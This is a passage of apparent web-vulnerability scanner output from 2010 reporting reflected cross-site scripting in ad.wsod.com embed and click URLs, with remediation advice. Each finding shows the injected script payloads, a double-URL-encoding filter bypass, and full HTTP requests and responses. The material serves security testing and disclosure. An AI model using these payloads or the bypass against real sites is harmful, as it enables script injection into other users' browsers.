<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250c8c45";alert(1)//f2d3df944a2/1289925793**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
1.18. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1371.0.iframe.300x250/1289925654** [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5f554'-alert(1)-'4588fbfa412 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f3b6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e03a4dd12fec was submitted in the REST URL parameter 2. This input was echoed as 3f3b6"><script>alert(1)</script>03a4dd12fec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a6313573f3b6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e03a4dd12fec/473.0.iframe.120x60/0.9294136789025873 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1926
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a6313573f3b6"><script>alert(1)</script>03a4dd12fec/473.0.iframe.120x60/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6731b%2522%253balert%25281%2529%252f%252fcdb39371f81 was submitted in the REST URL parameter 2. This input was echoed as 6731b";alert(1)//cdb39371f81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a6313576731b%2522%253balert%25281%2529%252f%252fcdb39371f81/473.0.iframe.120x60/0.9294136789025873 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1881
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a6313576731b";alert(1)//cdb39371f81/473.0.iframe.120x60/1289925786**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e09ad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e305b3aea5eb was submitted in the REST URL parameter 3. This input was echoed as e09ad"><script>alert(1)</script>305b3aea5eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60e09ad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e305b3aea5eb/0.9294136789025873 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1926
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60e09ad"><script>alert(1)</script>305b3aea5eb/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed6ad%2522%253balert%25281%2529%252f%252f41c4e068ef9 was submitted in the REST URL parameter 3. This input was echoed as ed6ad";alert(1)//41c4e068ef9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60ed6ad%2522%253balert%25281%2529%252f%252f41c4e068ef9/0.9294136789025873 HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1881
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60ed6ad";alert(1)//41c4e068ef9/1289925786**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
The value of the click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa1e5"-alert(1)-"fd9590180b4 was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:18 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2439
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... nf7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6258913/R=0/*fa1e5"-alert(1)-"fd9590180b4"> ...[SNIP]...
The value of the click request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1104a"><script>alert(1)</script>3ef4aa7fd1 was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:17 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2467
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... nf7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6258913/R=0/*1104a"><script>alert(1)</script>3ef4aa7fd1http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/?yhdata=ycg=&yyob=&zip=,&ybt=8813&" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
1.25. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/0.9294136789025873 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a83d6"-alert(1)-"2bf8425838d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:18 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2445
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... f7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6258913/R=0/*&a83d6"-alert(1)-"2bf8425838d=1"> ...[SNIP]...
1.26. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/0.9294136789025873 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d873"><script>alert(1)</script>126498e5a6f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:18 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2475
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... f7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6258913/R=0/*&9d873"><script>alert(1)</script>126498e5a6f=1http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/?yhdata=ycg=&yyob=&zip=,&ybt=8813&" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of the ybt request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0424</script><script>alert(1)</script>5eadd1378c5 was submitted in the ybt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:17 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2533
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... 'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/1289925797**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=&yyob=&zip=,&ybt=8813e0424</script><script>alert(1)</script>5eadd1378c5&&click=http://global.ard.yahoo.com/SIG=15lvqnf7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc-/J=128992565298 ...[SNIP]...
The value of the yhdata request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3e3bf</script><script>alert(1)</script>192ab9208c was submitted in the yhdata parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:14 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2530
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/1289925794**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=3e3bf</script><script>alert(1)</script>192ab9208c&yyob=&zip=,&ybt=8813&&click=http://global.ard.yahoo.com/SIG=15lvqnf7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0 ...[SNIP]...
The value of the yyob request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ac9b</script><script>alert(1)</script>5d1623be261 was submitted in the yyob parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:15 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2533
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/1289925795**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=&yyob=8ac9b</script><script>alert(1)</script>5d1623be261&zip=,&ybt=8813&&click=http://global.ard.yahoo.com/SIG=15lvqnf7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc- ...[SNIP]...
The value of the zip request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11f71</script><script>alert(1)</script>14901eae5bc was submitted in the zip parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:16 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 2533
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x60/1289925796**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'?yhdata=ycg=&yyob=&zip=,11f71</script><script>alert(1)</script>14901eae5bc&ybt=8813&&click=http://global.ard.yahoo.com/SIG=15lvqnf7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc-/J=128 ...[SNIP]...
The value of the &click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload accc0'-alert(1)-'fdbf9a65890 was submitted in the &click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:44:22 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4cdc67692496d; expires=Thu, 16-Dec-2010 16:44:22 GMT; path=/ Set-Cookie: fp=184372:eq:2:CS:10:3:1289925862:1:46; expires=Mon, 14-Feb-2011 16:44:22 GMT; path=/; domain=.wsod.com Set-Cookie: i_1=46:473:786:61:0:32548:1289925862:L|46:566:480:0:0:28061:1289512809:B2; expires=Thu, 16-Dec-2010 16:44:22 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 780
function wsod_image() { document.write('<a href="http://global.ard.yahoo.com/SIG=15lvqnf7a/M=757168.14413553.14290362.4227981/D=fin/S=95993639:FB2/Y=YAHOO/EXP=1289932852/L=YzBV_USOxFf9SQS9TNcPQwDornoX2kzitBQADgaN/B=4WUpD0Je5kc-/J=1289925652982468/K=_Nt8qdg6uDG.Sr0F6S5FKw/A=6258913/R=0/*accc0'-alert(1)-'fdbf9a65890http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/473.786.iframe.120x60/yhdata*ycg=|yyob=|zip=,|ybt=8813||**;10.1102;1920;1200;http:_@2F_@2Ffinance.yahoo.com_@2Fq_@3Fs=LLTC" target="_blank" ti ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d499%2522%253balert%25281%2529%252f%252f8c0eecb875b was submitted in the REST URL parameter 2. This input was echoed as 7d499";alert(1)//8c0eecb875b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a6313577d499%2522%253balert%25281%2529%252f%252f8c0eecb875b/473.0.iframe.120x60/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1881
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a6313577d499";alert(1)//8c0eecb875b/473.0.iframe.120x60/1289925786**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2a0a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5f43f81e7d5 was submitted in the REST URL parameter 2. This input was echoed as a2a0a"><script>alert(1)</script>5f43f81e7d5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357a2a0a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5f43f81e7d5/473.0.iframe.120x60/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1926
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <a href="http://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357a2a0a"><script>alert(1)</script>5f43f81e7d5/473.0.iframe.120x60/" target="_blank" border="0" style="border:0px;"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70e78%2522%253balert%25281%2529%252f%252f9263058b3ca was submitted in the REST URL parameter 3. This input was echoed as 70e78";alert(1)//9263058b3ca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x6070e78%2522%253balert%25281%2529%252f%252f9263058b3ca/1289925654** HTTP/1.1 Host: ad.wsod.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: u=4cdc67692496d; i_1=46:1371:461:93:0:32548:1289925656:L|46:566:480:0:0:28061:1289512809:B2; fp=184372:eq:2:CS:10:3:1289925656:1:46;
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Tue, 16 Nov 2010 16:43:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1881
<html><head></head><body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0"><script type="text/javascript"> function fpv() { try { var axo = new ActiveXObject('ShockwaveFlash.Shockwave ...[SNIP]... <scr'+'ipt type="text/javascr'+'ipt" src="//ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/473.0.iframe.120x6070e78";alert(1)//9263058b3ca/1289925790**;'+wsod.fp+';'+wsod.w+';'+wsod.h+';'+wsod.loc+'"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5d95%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f813069dbe was submitted in the REST URL parameter 3. This input was echoed as f5d95"><script>alert(1)</script>4f813069dbe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
